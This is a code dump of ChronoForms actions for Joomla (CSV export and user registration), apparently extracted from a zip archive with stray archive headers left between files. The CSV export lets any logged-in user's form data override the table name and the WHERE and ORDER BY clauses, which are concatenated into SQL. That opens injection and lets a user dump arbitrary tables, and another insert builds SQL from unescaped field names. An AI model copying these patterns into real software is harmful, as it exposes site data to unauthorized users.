      Header(array('settings' => 'Settings', 'download' => 'Download', 'mysql' => 'MySQL', 'columns' => 'Columns', 'help' => 'Help'), 'csv_export_gh_config_{n}'); echo $PluginTabsHelper->tabStart('settings'); $database = JFactory::getDBO(); $tables = $database->getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } echo $HtmlHelper->input('action_csv_export_gh_{n}_table_name_config', array( 'type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => 'The table to be used for the export.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_data_path_config', array( 'type' => 'text', 'label' => "Data path", 'class' => 'medium_input', 'value' => '', 'smalldesc' => 'The path to the data list in the form->data array, use this if you already have the data in your form data array through a DBMRL action for example. e.g. MODEL_ID' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_save_path_config', array( 'type' => 'text', 'label' => "Save path", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'The path to the folder where the csv file will be saved e.g. '.JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'exports'.DS )); echo $HtmlHelper->input('action_csv_export_gh_{n}_file_name_config', array( 'type' => 'text', 'label' => "File name", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'The name of the csv file. You may include valid input values as {input_name}' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_post_file_name_config', array( 'type' => 'text', 'label' => "Post File name", 'class' => 'medium_input', 'value' => '', 'smalldesc' => 'The name of the post data/files arrays key under which the CSV file data will exist (in case the file is saved to the server)' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_delimiter_config', array( 'type' => 'text', 'label' => "Delimiter", 'class' => 'small_input', 'value' => '', 'smalldesc' => 'The delimiter to be used for the CSV file, a single character only, defaults to comma ,. Use ##tab## for a tab character.' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_enclosure_config', array( 'type' => 'text', 'label' => "Enclosure", 'class' => 'small_input', 'value' => '', 'smalldesc' => 'The enclosure to be used for the CSV file, a single character only, defaults to double quote "' )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('download'); echo $HtmlHelper->input('action_csv_export_gh_{n}_download_export_config', array( 'type' => 'checkbox', 'label' => 'Immediate download', 'class' => 'checkbox', 'value' => '1', 'rule' => 'bool', 'smalldesc' => 'If you check this box then the file will be downloaded immediately and your form or thank you page will not be displayed.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_download_nosave_config', array( 'type' => 'checkbox', 'label' => 'Do not save the file on the server', 'class' => 'checkbox', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'If you check this box then the file will be created in the server memory and downloaded immediately.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_download_mime_type_config', array( 'type' => 'checkbox', 'label' => 'Set mime type to \'octet\'', 'class' => 'checkbox', 'value' => '1', 'rule' => 'bool', 'smalldesc' => 'If you check this box then the file type will be set to \'application/octet-stream\' instead of \'text/csv\'.' ) ); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('mysql'); echo $HtmlHelper->input('action_csv_export_gh_{n}_where_config', array( 'type' => 'text', 'label' => "MySQL WHERE clause", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'A valid MySQL WHERE clause to filter the results.' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_order_by_config', array( 'type' => 'text', 'label' => "MySQL ORDER BY clause", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'A valid MySQL ORDER BY clause to sort the results.' )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('columns'); echo $HtmlHelper->input('action_csv_export_gh_{n}_include_config', array( 'type' => 'text', 'label' => "Include columns", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'You can enter a comma separated list of column names to be exported' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_exclude_config', array( 'type' => 'text', 'label' => "Exclude columns", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'You can enter a comma separated list of column names *not* to be exported' )); echo $HtmlHelper->input('action_csv_export_gh_{n}_add_titles_config', array( 'type' => 'checkbox', 'label' => 'Add Titles', 'class' => 'checkbox', 'value' => '1', 'rule' => 'bool', 'smalldesc' => 'If you check this box then the titles will be added to the first row in the output file.' ) ); echo $HtmlHelper->input('action_csv_export_gh_{n}_content1_config', array( 'type' => 'textarea', 'label' => "Column details", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'For each database column to be exported add a new row using Column Title=column_name e.g. ID=id or User Name=name or Visible From=created_date. If you make any entry here then only columns included here will be exported; any \included\' or \'excluded\' entries above will be ignored.' )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('help'); $style = " div.tabs-panel { font-size: 100%; } div.tabs-panel tt{ font-size: 120%; } "; $doc = JFactory::getDocument(); $doc->addStyleDeclaration($style); ?>
      This action helps you export some or all of the entries from a database table into a CSV file that can be downloaded and used for other purposes.

      Settings

      • Select the Database table that you want to export data from. This is the only required input in the configuration.
      • Enter a valid full path to the folder where the csv file should be saved. You may use form inputs e.g. {input_name} in the path*.
        Defaults to
      • Enter a name for the file to be saved. You may use form inputs e.g. {input_name} in the file name*. The file suffix will be .csv, if this isn't set here it will be added after any existing suffix.
        Defaults to csv_export_{$table_name}_{datetime}.csv
      • You can set values for the path or file name by creating file inputs with appropriate values. If {form_path} or {file_name} are set before this action in the form data or in a Custom Code action those values will replace any entries here.
      • You can set a delimiter that will be placed between each value in a row. The default is a comma value1,value2. Use ##tab## for a tab delimited file.
      • You can set an enclosure character that will be used to enclose individual values where necessary. The default is a double quote "value 1".

      Downloads

      • The checkboxes on this tab allow you to control the way your file is downloaded.
      • If you leave them all un-checked then the file will be saved to the server and you can use the entries added to the $form_>data array to display or email a download link or to leave the file for future reference.
      • If you check the 'Immediate download' then the form will be downloaded when the either the form (if the action is in the On Load event) or the Thank You page loads. The file is still saved to the server but the download will act as a 'Show stopper' and no further actions will run.
      • If you check the 'No Save' checkbox then the form will be downloaded when the either the form (if the action is in the On Load event) or the Thank You page loads. The file is not saved to the server. In this case the file is created in memory if it is less than 5Mb,or in a temporary file if it is larger than this. This may be useful if you do not want to save the files, or if you have limited permission on the server.
      • If you check the 'Set mimtype to 'octet'' checkbox then the form will be downloaded with a type of 'application/octet-stream' instead of 'text/csv'. This may be useful if you want to prevent the file diplaying in the browser.

      MySQL

      This tab allows you to specify the records to be exported and the order of the export. Both use standard MySQL syntax.
      • The MySQL WHERE clause will take a valid WHERE clause to filter the result to be exported e.g. `id` < 25 The word WHERE is optional.
      • The MySQL ORDER BY clause will take a valid ORDER BY clause to sort the results to be exported e.g. `id` DESC The words ORDER BY are optional.
      Paths and file names can include the special {table_name}, {datetime} and {rand} values. The value {datetime} inserts string in the form 'YmdHi' e.g. 201105101543; {rand} inserts a six digit random number e.g. 857943.

      Columns

      This tab offers two different ways to specify the columns to be exported. You may leave all the boxes empty in which case all the columns will be exported in the order they appear in the table and the column names will be shown in the first row of the exported file.
      • In the Include Columns box you can enter a comma separated list of columns to be included. If there is an entry here only these columns will be exported, and the order of columns will be the order of this list.
      • In the Exclude Columns box you can enter a comma separated list of columns to be excluded. If the Include Columns box is empty all columns except these will be exported. If there are entries in the Included Columns box then any columns shown here will be removed from that list.
      • The column Details box overrides the Included and Excluded lists; if there are any entries here then they will be ignored. You can enter any number of rows here each of which specifies one column to be exported. Each row takes the form Column Title=column_name. The Column Title will be shown in the first row of the exported file and the columns will be exported in the order that they are shown here. You can also add valid MySQL clauses in the place of the column_name e.g. Column Title=`value` + 7. If a row has no = character then the entry will be used for both the Column Title and the Column Name e.g. Languages.
        Note: take care with these entries, they are very flexible but are not verified and mistakes may break the export.

      Results

      The Action generates several outputs: a file saved to the server in the specified folder; and three new form data items {csv_link}, {csv_count} and {csv_size}. These give you a full URL for the new file and the number of records exported. You can use these in later actions like Emails or Thank You messages to allow access to the file.
      You can use the success (or fail) events to do whatever you need after the response is processed.
      tabEnd(); ?>
      PKs>\b9ez.z.<com_chronoforms/form_actions/csv_export_gh/csv_export_gh.phpnuW+A 'data_export', 'title' => 'Data Export'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'CSV Export [GH]', 'tooltip' => 'Exports selected records from a table to a CSV file'); function load($clear) { if ( $clear ) { $action_params = array( 'table_name' => '', 'include' => '', 'exclude' => '', 'save_path' => '', 'file_name' => '', 'delimiter' => '', 'enclosure' => '', 'download_mime_type' => '', 'download_export' => '', 'download_nosave' => '', 'where' => '', 'data_path' => '', 'add_titles' => 1, 'post_file_name' => '', 'order_by' => '', 'content1' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); $user = JFactory::getUser(); jimport('joomla.filesystem.file'); $variables = array( 'table_name', 'include', 'exclude', 'save_path', 'file_name', 'delimiter', 'enclosure', 'download_export', 'download_mime_type', 'download_nosave', 'where', 'order_by' ); foreach ( $variables as $v ) { $$v = trim($params->get($v)); // Allow over-ride from form data for registered users if ( $user->id ) { if ( isset($form->data[$v]) && $form->data[$v] ) { $$v = $form->data[$v]; } } } $form->debug['CSV Export'][] = '$download_export: '.print_r($download_export, true); $form->debug['CSV Export'][] = '$download_nosave: '.print_r($download_nosave, true); $columns = $actiondata->content1; $columns = $this->paramsToArray($columns, 'Columns'); $curly_array = array( 'form_name' => $form->form_details->name, 'table_name' => $table_name, 'random' => rand(111111, 999999), 'datetime' => date('YmdHi') ); if ( $download_nosave ) { $form->debug['CSV Export'][] = 'Download \'No Save\' is set so no folder is created.'; } else { if ( $save_path ) { $save_path = $form->curly_replacer($save_path, array_merge($form->data, $curly_array)); $save_path = str_replace(array("/", "\\"), DS, $save_path).DS; $save_path = str_replace(DS.DS, DS, $save_path); } else { $save_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'exports'.DS.$form->form_details->name.DS; } if ( !JFile::exists($save_path.'index.html') ) { if (!JFolder::create($save_path) ) { $form->debug['CSV Export'][] = "Couldn't create save folder: {$save_path}"; JError::raiseWarning(100, "Couldn't create save folder: {$save_path}"); $this->events['fail'] = 1; return; } } $form->debug['CSV Export'][] = 'Save folder is:
      '.$save_path; $form->debug['CSV Export'][] = '$download_export: xxx'; $form->debug['CSV Export'][] = '$download_export: '.print_r($download_export, true); $buffer = ""; if ( !JFile::write($save_path.'index.html', $buffer) ) { $form->debug['CSV Export'][] = "Couldn't write to save folder: {$save_path}"; JError::raiseWarning(100, "Couldn't write to save folder: {$save_path}"); $this->events['fail'] = 1; return; } } if ( $file_name ) { $file_name = $form->curly_replacer($file_name, array_merge($form->data, $curly_array)); } else { $file_name = "csv_export_{$table_name}_".date('YmdHi').".csv"; } if ( JFile::getExt($file_name) != 'csv' || JFile::getExt($file_name) == $file_name ) { $file_name .= '.csv'; } $form->debug['CSV Export'][] = 'File name is:
      '.$file_name; // get the data to export $db = JFactory::getDBO(); $titles = array(); if(strlen(trim($params->get('data_path', ''))) == 0){ $fields_array = $db->getTableFields($table_name); $fields_array = array_keys($fields_array[$table_name]); if ( is_array($columns) && count($columns) ) { $include = array(); foreach ( $columns as $k => $v ) { $titles[] = $k; $include[] = $v; } $include = implode(', ', $include); $exclude = array(); } else { if ( $exclude ) { $exclude = explode(',', $exclude); foreach ( $exclude as $k => $v ) { $exclude[$k] = trim($v); } } else { $exclude = array(); } if ( $include ) { $include = explode(',', $include); // check the columns and drop any that are 'excluded' // or are not in the table columns list. foreach ( $include as $k => $v ) { $v = trim($v); if ( in_array($v, $exclude) || !in_array($v, $fields_array) ) { unset($include[$k]); continue; } $include[$k] = $db->nameQuote(trim($v)); } $include = implode(', ', $include); $exclude = array(); } elseif ( count($exclude) ) { $include = array(); foreach ( $fields_array as $k => $v ) { if ( !in_array($v, $exclude) ) { $include[] = $db->nameQuote(trim($v)); } } $include = implode(', ', $include); } else { $include = '*'; } } if ( $where ) { // strip off anything after a ; $sc_found = strpos($where, ';'); if ( $sc_found ) { $where = substr($where, 0, $sc_found); } // clean up WHERE $where = str_ireplace('where ', '', $where); $where = 'WHERE '.$where; } if ( $order_by ) { // strip off anything after a ; $sc_found = strpos($order_by, ';'); if ( $sc_found ) { $order_by = substr($order_by, 0, $sc_found); } // clean up ORDER BY $order_by = str_ireplace("ORDER BY ", '', $order_by); $order_by = 'ORDER BY '.$order_by; } $query = " SELECT {$include} FROM `{$table_name}` {$where} {$order_by}; "; $form->debug['CSV Export'][] = '$query: '.print_r($query, true); } $data = array(); if(trim($params->get('data_path', ''))){ $data_found = $form->get_array_value($form->data, explode('.', trim($params->get('data_path', '')))); if(!empty($data_found) && is_array($data_found)){ //check if this is an indexed array if($data_found === array_values($data_found)){ $data = $data_found; } } }else{ $db->setQuery($query); $data = $db->loadAssocList(); } if ( !count($data) ) { $this->events['fail'] = 1; $form->validation_errors['CSV Export'] = 'No records were found to export.'; return; } $form->debug['CSV Export'][] = count($data).' records were found to export.'; // drop excluded columns if all were selected if ( !count($columns) && is_array($exclude) && count($exclude) ) { $exclude = array_flip($exclude); foreach ( $data as $k => $v ) { $data[$k] = array_diff_key($data[$k], $exclude); } } if ( $delimiter == '##tab##' ) { $delimiter = chr(9); } elseif ( $delimiter == '##squote##' ) { $delimiter = chr(39); } elseif ( $delimiter ) { $delimiter = substr($delimiter, 0, 1); } else { $delimiter = ','; } if ( $enclosure ) { $enclosure = substr($enclosure, 0, 1); } else { $enclosure = '"'; } // Build titles array if ( !count($titles) ) { $titles = array_keys($data[0]); } $output = ''; if ( $download_nosave ) { // output up to 5MB is kept in memory, if it becomes bigger // it will automatically be written to a temporary file $csv = fopen('php://temp/maxmemory:'. (5*1024*1024), 'r+'); if((bool)$params->get('add_titles', 1) === true){ fputcsv($csv, $titles); } foreach ( $data as $d ) { fputcsv($csv, $d, $delimiter, $enclosure); } rewind($csv); // put it all in a variable $output = stream_get_contents($csv); $filesize = strlen($output); } else { // Open file for writing $file = fopen($save_path.$file_name, 'w'); if ( $file === false ) { $form->validation_errors['CSV Export'] = 'Unable to open the file.'; return; } if((bool)$params->get('add_titles', 1) === true){ fputcsv($file, $titles); } // add data rows to the file foreach ( $data as $d ) { fputcsv($file, $d, $delimiter, $enclosure); } fclose($file); // Get file URL and save to the form data $save_url = str_replace(JPATH_SITE.DS, JURI::root(), $save_path); $save_url = str_replace(DS, '/', $save_url); $form->debug['CSV Export'][] = 'Save link is:
      '.$save_url.$file_name; $form->data['csv_link'] = $save_url.$file_name; $form->data['csv_count'] = count($data); $filesize = filesize($save_path.$file_name); $form->data['csv_size'] = $filesize/1000; if ( $form->data['csv_size'] > 0 && $form->data['csv_size'] < 1 ) { $form->data['csv_size'] = number_format($form->data['csv_size'], 1); } else { $form->data['csv_size'] = number_format($form->data['csv_size'], 0); } //add details under the post file name if(!$download_nosave && (strlen(trim($params->get('post_file_name', ''))) > 0)){ $post_file_name = $params->get('post_file_name', ''); $form->data[$post_file_name] = $file_name; $form->files[$post_file_name] = array('name' => $file_name, 'path' => $save_path.$file_name, 'size' => $form->data['csv_size']); $form->files[$post_file_name]['link'] = $save_url.$file_name; } $form->debug['CSV Export'][] = 'File size is: '.$form->data['csv_size'].' kb'; } if ( $download_export || $download_nosave ) { // if Immediate download is checked jimport('joomla.environment.browser'); $browser = JBrowser::getInstance(); switch ($browser->getBrowser() ) { case 'msie': $inline = 'inline'; $pragma = 'public'; break; default: $inline = 'attachment'; $pragma = 'no-cache'; break; } $mimetype = 'text/csv'; if ( $download_mime_type ) { switch ($browser->getBrowser() ) { case 'msie': $mimetype = 'application/octetstream'; case 'opera': $mimetype = 'application/octetstream'; break; default: $mimetype = 'application/octet-stream'; break; } } @ob_end_clean(); ob_start(); header("Content-Type: {$mimetype}; charset=UTF-8"); header('Expires: '.gmdate('D, d M Y H:i:s').' GMT'); header("Content-Disposition: {$inline}; filename={$file_name}"); header("Content-Length: ".$filesize); if ( $browser->getBrowser() == 'msie' ) { header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); } header("Pragma: {$pragma}"); ob_clean(); flush(); if ( $download_nosave ) { print($output); } else { readfile($save_path.$file_name); } exit(); } } function paramsToArray($params='', $name='Parameter') { if ( !$params ) { return false; } $list = explode("\n", trim($params)); $return = array(); foreach ( $list as $item ) { $item = trim($item); if ( !$item ) { $form->debug['Export CSV [GH]'][] = "Empty string found in the {$name} box"; continue; } $fields_data = explode("=", $item, 2); if ( !isset($fields_data[1]) || !$fields_data[1] ) { $fields_data[1] = $fields_data[0]; } $param = trim($fields_data[0]); $value = trim($fields_data[1]); $return[$param] = $value; } return $return; } } ?>PKs>\)4com_chronoforms/form_actions/csv_export_gh/.htaccessnuW+A Order allow,deny Deny from all PKs>\%[$[$Hcom_chronoforms/form_actions/joomla_registration/joomla_registration.ctpnuW+A
      Joomla User Registration
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'cb' => 'CB', 'help' => 'Help'), 'joomla_registration_config_{n}'); ?> tabStart('fields'); ?> input('action_joomla_registration_{n}_name_config', array('type' => 'text', 'label' => 'Name field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Name data')); ?> input('action_joomla_registration_{n}_username_config', array('type' => 'text', 'label' => 'Username field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Username data')); ?> input('action_joomla_registration_{n}_email_config', array('type' => 'text', 'label' => 'Email field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Email data')); ?> input('action_joomla_registration_{n}_password_config', array('type' => 'text', 'label' => 'Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Password data')); ?> input('action_joomla_registration_{n}_password2_config', array('type' => 'text', 'label' => 'Verify Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Verify Password data')); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_joomla_registration_{n}_override_allow_user_registration_config', array('type' => 'select', 'label' => 'Override the Joomla Allow user registration', 'label_over' => true, 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Its advised that you disable the Joomla allow user registration setting and enable this one so that users are forced to register here.')); ?> setQuery($query); $options = array(); $groups = $database->loadObjectList(); foreach($groups as $group){ $options[$group->id] = $group->title; } ?> input('action_joomla_registration_{n}_new_usertype_config', array('type' => 'select', 'label' => 'Usertype', 'options' => $options, 'size' => 6, 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'The new user type/group.')); ?> input('action_joomla_registration_{n}_useractivation_config', array('type' => 'select', 'label' => 'User activation', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the user require activation ?')); ?> input('action_joomla_registration_{n}_send_joo_activation_config', array('type' => 'select', 'label' => 'Send activation', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Send Joomla's activation email after registration ?")); ?> input('action_joomla_registration_{n}_activation_link_config', array('type' => 'text', 'label' => 'Activation Link', 'class' => 'big_input', 'smalldesc' => 'Use this ONLY if your "Allow User Registration" is set to "NO" in the Joomla Users Manager, add a link to a form event with the "Joomla User Activation" action.')); ?> input('action_joomla_registration_{n}_random_password_config', array('type' => 'select', 'label' => 'Random Password', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Generate Random password for the user ? if yes then you do not have to supply password/verify password fields.')); ?> input('action_joomla_registration_{n}_auto_login_config', array('type' => 'select', 'label' => 'Auto Login', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Auto Login the user after registration ?')); ?> input('action_joomla_registration_{n}_display_reg_complete_config', array('type' => 'select', 'label' => 'Display status', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Display the Joomla registration status message after successfull one ?')); ?> input('action_joomla_registration_{n}_user_data_path_config', array('type' => 'text', 'label' => 'User Data Path', 'class' => 'medium_input', 'smalldesc' => 'The data array path under which the created user data will be set.')); ?> tabEnd(); ?> tabStart('cb'); ?> input('action_joomla_registration_{n}_enable_cb_support_config', array('type' => 'select', 'label' => 'Enable CB Support', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable Community Builder support, this will save the data to community builder table, your form fields names should match the CB fields names definded for registration.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Assign your form field's names to the required fields names under the "Fields" tab.
      • Configure the settings under the "Settings" tab.

      tabEnd(); ?>
      PKs>\):com_chronoforms/form_actions/joomla_registration/.htaccessnuW+A Order allow,deny Deny from all PKs>\\-\-Hcom_chronoforms/form_actions/joomla_registration/joomla_registration.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla Registration', 'tooltip' => 'Replace your Joomla frontend registration feature using this action.'); var $params = null; function run($form, $actiondata){ $this->params = $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //set activation link if(trim($this->params->get('activation_link', '')) == ''){ $this->params->set('activation_link', 'index.php?option=com_users&task=registration.activate'); } // Get required system objects $user = clone(JFactory::getUser()); $pathway = $mainframe->getPathway(); $config = JFactory::getConfig(); $authorize = JFactory::getACL(); $document = JFactory::getDocument(); $language = JFactory::getLanguage(); $language->load('com_users'); // If user registration is not allowed, show 403 not authorized. $usersConfig = &JComponentHelper::getParams( 'com_users' ); if($usersConfig->get('allowUserRegistration') == '0' && !$params->get('override_allow_user_registration', 0)){ JError::raiseError( 403, JText::_( 'Access Forbidden' )); return; } // Initialize new usertype setting $userConfig = JComponentHelper::getParams('com_users'); // Default to Registered. $defaultUserGroup = $params->get('new_usertype', ''); if(empty($defaultUserGroup)){ $defaultUserGroup = $userConfig->get('new_usertype', array(2)); }else{ $_groups = explode(",", trim($defaultUserGroup)); $defaultUserGroup = array(); foreach($_groups as $_group){ $defaultUserGroup[] = (int)$_group; } } //set the post fields values $form->data['name'] = $form->data($params->get('name', ''), ''); $form->data['username'] = $form->data($params->get('username', ''), ''); $form->data['email'] = $form->data($params->get('email', ''), ''); $form->data['password'] = $form->data($params->get('password', ''), ''); $form->data['password2'] = $form->data($params->get('password2', ''), ''); //generate the random pass if enabled if((int)$params->get('random_password', 0) == 1){ jimport('joomla.user.helper'); $random_pass = JUserHelper::genRandomPassword(); $form->data['password'] = $random_pass; $form->data['password2'] = $random_pass; } //check empty fields $checks = array('name', 'username', 'email', 'password'); foreach($checks as $check){ if(!trim($form->data[$check])){ $this->events['fail'] = 1; $form->validation_errors[$params->get($check)] = 'You must provide your '.$check.'.'; //return false; } } if($this->events['fail'] == 1){ return false; } //check the 2 passwords if($form->data['password'] != $form->data['password2']){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password2')] = 'Passwords do NOT match.'; $form->debug[] = "Couldn't create new user, Passwords do NOT match."; return false; } // Bind the post array to the user object $post_data = $form->data; if(!$user->bind($post_data, 'usertype')){ //JError::raiseError( 500, $user->getError()); $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't bind new user, Joomla returned this error : ".$user->getError(); return false; } // Set some initial user values $user->set('id', 0); $user->set('usertype', 'deprecated'); $user->set('groups', $defaultUserGroup); $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); // If user activation is turned on, we need to set the activation information $useractivation = $params->get('useractivation', $usersConfig->get('useractivation')); if (($useractivation == 1) || ($useractivation == 2)) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash(JUserHelper::genRandomPassword())); $user->set('block', '1'); } // If there was an error with registration, set the message and display form if(!$user->save()){ /*JError::raiseWarning('', JText::_( $user->getError())); $this->register();*/ $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't save new user, Joomla returned this error : ".$user->getError(); return false; }else{ $this->events['success'] = 1; } //store user data $user_data = (array)$user; $removes = array('params', '_params', 'guest', '_errorMsg', '_errors'); foreach($removes as $remove){ unset($user_data[$remove]); } $form->data['_PLUGINS_']['joomla_registration'] = $user_data; //inject user data under the correct data path if(strlen(trim($params->get('user_data_path', ''))) > 0){ $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('user_data_path', ''))), $user_data); } //CB support if((bool)$params->get('enable_cb_support', 0) === true){ /********************CB part*************************/ $database = JFactory::getDBO(); $database->setQuery( "SELECT * FROM #__comprofiler_fields WHERE `table`='#__comprofiler' AND name <>'NA' AND registration = '1'" ); $fields = $database->loadObjectList(); $default_fields_names = array('id', 'user_id'); $default_fields_values = array($user_data['id'], $user_data['id']); foreach($fields as $field){ $default_fields_names[] = $field->name; $fieldname = $field->name; $default_fields_values[] = $form->data[$fieldname]; } $database->setQuery( "INSERT INTO #__comprofiler (".implode(",", $default_fields_names).") VALUES ('".implode("','", $form->escapeVar($default_fields_values))."');" ); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); } /**********************************************/ } // Send registration confirmation mail $password = $form->data['password'];//JRequest::getString('password', '', 'post', JREQUEST_ALLOWRAW); $password = preg_replace('/[\x00-\x1F\x7F]/', '', $password); //Disallow control chars in the email if((int)$params->get('send_joo_activation', 0) == 1){ $this->_sendMail($user, $password); } // Everything went fine, set relevant message depending upon user activation state and display message if((int)$useractivation == 2){ $message = JText::_('COM_USERS_REGISTRATION_COMPLETE_VERIFY'); }else if((int)$useractivation == 1){ $message = JText::_('COM_USERS_REGISTRATION_COMPLETE_ACTIVATE'); }else{ $message = JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS'); } if($params->get('display_reg_complete', 0) == 1){ echo $message; } if((int)$params->get('auto_login', 0) == 1){ $credentials = array(); $credentials['username'] = $form->data['username']; $credentials['password'] = $form->data['password']; $mainframe->login($credentials); } } function _sendMail(&$user, $password) { $mainframe = JFactory::getApplication(); $db = JFactory::getDBO(); $name = $user->get('name'); $email = $user->get('email'); $username = $user->get('username'); $usersConfig = &JComponentHelper::getParams( 'com_users' ); $sitename = $mainframe->getCfg( 'sitename' ); $useractivation = $usersConfig->get( 'useractivation' ); $mailfrom = $mainframe->getCfg( 'mailfrom' ); $fromname = $mainframe->getCfg( 'fromname' ); $siteURL = JURI::base(); $config = JFactory::getConfig(); // Compile the notification mail values. $data = $user->getProperties(); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::base(); // Handle account activation/confirmation emails. if ($useractivation == 2) { // Set the link to confirm the user email. $uri = JURI::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_(trim($this->params->get('activation_link', '')).'&token='.$data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['siteurl'].trim($this->params->get('activation_link', '')).'&token='.$data['activation'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else if ($useractivation == 1) { // Set the link to activate the user account. $uri = JURI::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_(trim($this->params->get('activation_link', '')).'&token='.$data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['siteurl'].trim($this->params->get('activation_link', '')).'&token='.$data['activation'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else { $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_BODY', $data['name'], $data['sitename'], $data['siteurl'] ); } // Send the registration email. $return = JUtility::sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); // Check for an error. if ($return !== true) { JError::raiseNotice(100, JText::_('COM_USERS_REGISTRATION_SEND_MAIL_FAILED')); // Send a system message to administrators receiving system mails $db = JFactory::getDBO(); $q = "SELECT id FROM #__users WHERE block = 0 AND sendEmail = 1"; $db->setQuery($q); $sendEmail = $db->loadResultArray(); if (count($sendEmail) > 0) { $jdate = new JDate(); // Build the query to add the messages $q = "INSERT INTO `#__messages` (`user_id_from`, `user_id_to`, `date_time`, `subject`, `message`) VALUES "; $messages = array(); foreach ($sendEmail as $userid) { $messages[] = "(".$userid.", ".$userid.", '".$jdate->toMySQL()."', '".JText::_('COM_USERS_MAIL_SEND_FAILURE_SUBJECT')."', '".JText::sprintf('COM_USERS_MAIL_SEND_FAILURE_BODY', $return, $data['username'])."')"; } $q .= implode(',', $messages); $db->setQuery($q); $db->query(); } return false; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'name' => '', 'username' => '', 'email' => '', 'password' => '', 'password2' => '', 'override_allow_user_registration' => 1, 'new_usertype' => 'Registered', 'useractivation' => 1, 'activation_link' => '', 'random_password' => 0, 'auto_login' => 0, 'send_joo_activation' => 0, 'enable_cb_support' => 0, 'user_data_path' => '', 'display_reg_complete' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\ ;com_chronoforms/form_actions/joomla_registration/index.htmlnuW+A PKs>\)6com_chronoforms/form_actions/data_to_session/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 7com_chronoforms/form_actions/data_to_session/index.htmlnuW+A PKs>\ӳ!@com_chronoforms/form_actions/data_to_session/data_to_session.ctpnuW+A
      Data To Session
